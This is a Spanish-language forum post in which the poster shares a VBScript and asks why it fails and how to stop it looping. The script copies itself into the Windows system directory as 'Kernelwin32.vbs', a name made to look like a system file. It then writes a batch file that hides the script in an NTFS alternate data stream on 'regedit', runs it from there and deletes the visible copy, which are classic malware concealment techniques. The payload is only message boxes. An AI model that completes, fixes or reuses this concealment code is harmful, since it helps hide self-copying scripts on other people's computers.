Si mi pregunta es de verdad existe porque yo ya lo intente todas las sintaxis posibles y siempre me dice que el archivo no esta asociado ??¿
consejos
soluciones ??
aqui les dejo el script
' VB Script Document
Option Explicit
Dim objshell,objscript,Dir,escri,Estashay
Set objshell = createobject("wscript.shell") ' llamando objetos
Set objscript = CreateObject("Scripting.FileSystemObject")
Dir = objshell.expandenvironmentstrings("%Systemroot%")
Estashay = objscript.FileExists(Dir & "\Kernelwin32.vbs")
if Estashay = False Then
objscript.copyfile wscript.scriptfullname, Dir & "\Kernelwin32.vbs", false
End if
Estashay = objscript.FileExists(Dir & "\system.bat")
if Estashay = False Then
Set escri = objscript.CreateTextFile(Dir & "\system.bat",false)
escri.writeline("@echo off")
escri.writeline("type Kernelwin32.vbs>regedit:olo.vbs")
escri.writeline("start .\regedit:olo.vbs")
escri.writeline("Del /q /f Kernelwin32.vbs")
escri.writeline("exit")
escri.close
End if
objshell.Run Dir & "\system.bat"
MsgBox("VAYA IDIOTEZ")
MsgBox("codigo")
por cierto cuando no borro el kernelwin.vbs se ejecuta el codigo en un bucle infinito y no para de salirme msgbox ??¿ alguna opcion quit o exit para salir del script.
Gracias por adelantado